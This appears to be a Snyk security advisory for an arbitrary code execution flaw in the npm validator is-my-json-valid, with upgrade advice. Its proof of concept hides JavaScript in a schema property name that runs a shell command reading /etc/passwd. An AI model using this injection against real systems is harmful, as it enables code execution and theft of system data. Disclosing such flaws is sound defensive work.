Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Execution vulnerabilities in an interactive lesson.
Start learningUpgrade is-my-json-valid
to version 2.20.3 or higher.
is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.
Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName
function.
##PoC
const schema = {
type: 'object',
properties: {
'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
required: true,
type:'string'
}
},
}
var validate = validator(schema);
validate({})